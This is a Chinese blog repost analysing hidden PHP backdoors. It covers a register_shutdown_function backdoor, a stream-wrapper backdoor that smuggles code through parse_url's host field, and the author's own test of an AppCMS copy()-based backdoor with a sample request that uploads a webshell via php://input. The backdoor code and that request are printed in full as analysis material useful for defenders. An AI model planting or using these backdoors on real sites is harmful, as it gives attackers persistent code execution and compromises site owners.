欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

php流包装器

程序员文章站 2024-03-06 11:40:55
...

根据我们最新的报告,百分之七十二的被入侵网站都含有后门。后门是攻击者为了保持控制权而在站点留下的特殊文件。必要的时候,攻击者会利用它再次感染该站点。


我们偶然发现了一些不需要使用PHP常见函数(比如:eval,create_function,preg_replace,assert,base64_decode)即可实现的后门。


这些罕见后门看上去就像普通代码一样,它们不需要常见的混淆方法(比如:加密字符串,大小写混淆,字符串拼接)就可以让攻击者任意代码执行。


在Shutdown函数中的后门


让我们从简单的看起。在 @package.win.error.Libraries ,并且有这样一个函数:

function win()  { register_shutdown_function($_POST['d']('', $_POST['f']($_POST['c']))); }

此处的 $_POST 参数看上去十分可疑,那么这个代码到底是不是后门呢?


register_shutdown_function 注册了一个在此脚本运行完毕后的操作。这意味着无论这个代码出现在哪一行,它只在执行完时才被调用。


这样的话,脚本执行完后调用的函数便是:

$_POST['d']('', $_POST['f']($_POST['c']))

这行代码看上去如同加密一般。如果你不清楚黑客能用它干什么,让我们来想想黑客代入如下参数执行后会怎么样:

d=create_function
f=base64_decode
c=some_base64_encoded_malicious_PHP_code



于是,便会这样:

create_function('', base64_decode(some_base64_encoded_malicious_PHP_code))


现在便是一个正常的后门了。这个代码不需要被直接调用,因为shutdown函数会自动执行它。


在Stream Wrapper中的后门


之前的只是热身罢了,现在我们来看看更复杂的。


这次我们用 @package Stream.ksn.Libraries。我们不难推导出这里有个Stream类并和一个创建ksn协议流包装器的函数。

class Stream { 
 function stream_open($path, $mode, $options, &$opened_path)
 {  $url = parse_url($path);
 $f = $_POST['d']('', $url["host"]); 
 $f(); 
 return true;
 } 
}
stream_wrapper_register("ksn", "Stream");
// Register connect the library Stream
$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');

我们来用几个小节分析这个代码


代码貌似人畜无害


对于一些开发者来讲,这个代码看上去像是那些第三方写的内容管理插件代码。


我们还不清楚它的具体作用,但是有些站长可能会默认它是合法代码。他们可能会通过其中的一小段来推测:是不是和ksn流相关呢?ksn又是什么呢?不管了,应该有用吧。


等等!我们在代码中看到了POST。因为攻击者总是可以操控它,因此对POST保持警惕。然而,我们不清楚POST具体的作用。


探索与发现


你玩过那些文字解密的游戏吗?这和我们做的十分相似。


我们先从 stream_open 分析:

$f = $_POST['d']('', $url["host"]);

当POST参数被用做函数名时,这引起了我们的关注。看上去 $_POST['d] 作用像之前的create_function。如果这样的话,$url['host']应该是可执行代码,但是一个经过 parse_url处理的函数应该包含不了代码吧?不过。。。


模糊化域名格式


让我们看看传进 stream_open$path —— 它包括了一个被 parse_url 解析过后的 URL,我们首先分析一下下列代码:

stream_wrapper_register("ksn", Stream);

这个函数将关联 ksn协议和Stream类。Stream类继承了streamWrapper的属性,也就是说wrapper 初始化完成时,stream_open会被直接调用。(比方说 fopen 该协议时)


stream_open应该是像如下一样被声明。其中,$path是被传递到fopen的URL

public bool streamWrapper::stream_open ( string $path , string $mode , int $options , string &$opened_path )

我们可以用fopen来打开ksn://协议的url

$fp = fopen('ksn://'.$_POST['f']($_POST['c']), '');

所以我们的path就是:

‘ksn://’.$_POST[‘f’]($_POST[‘c’]),’


这会构造一个可以让主机执行恶意代码的URL


那么我们应该如何构建一个可以被当做合法PHP代码执行的域名或者ip地址?


根据 RFC3986,我们并不需要构建合法的域名,因为parse_url不会检查URL的合法性,它只负责解析。任何从 :// 开始,以 / 或 : 结尾的那一部分字符串(如果没有的话,则是余下的全部字符)都被视作主机名部分。


比方说,如果你把 ksn://eval(base64_decode($_POST[“code”])); 传递给 parse_url,主机部分便是 eval(base64_decode($_POST[“code”]));


就像之前那,我们此处可以理解:

f=base64_decode
c=some_base64_encoded_malicious_PHP_code

然后就会执行这样的fopen

$fp = fopen('ksn://base64_decode(base64_encoded_malicious_PHP_code)', '');

回过头来看 stream_open,我们可以知道被传入的URL

$f = $_POST['d']('', $url["host"]);

其实是:

$f = create_function('', base64_decode(base64_encoded_malicious_PHP_code));

到了最后,$f 会被调用:

$f();

简单来说,这个后门就是打开 ksn:// 协议的 fopen 引起的,然而我们仅粗略地读不会发现什么异常



自己的测试实例:

php流包装器

php流包装器

出现原因:

在 templates/m/ 文件夹下出现了一个 content_list.php 文件,修改时间为 2017年5月25日。

php流包装器

经过解密,9c224bc6b59179729b15e1dddcbb5c82为字符串kejishidai的md5值。

由代码知,这里存在一个copy函数构成的后门。

在第12行,实际执行的即为:

copy(trim($_GET[url]),$_GET[cms]);

将参数url设置为php://input,参数cms设置为shell的文件名,然后POST传入webshell。如下:


http://127.0.0.1:2500/appcms/appcms_2.0.101/templates/m/content_list.php?session=kejishidai&url=php://input&cms=temp.php
POST:
<?php phpinfo();?>

freebuf关于流包装器构成webshell的讲解

国外文档

相关标签: 流包装器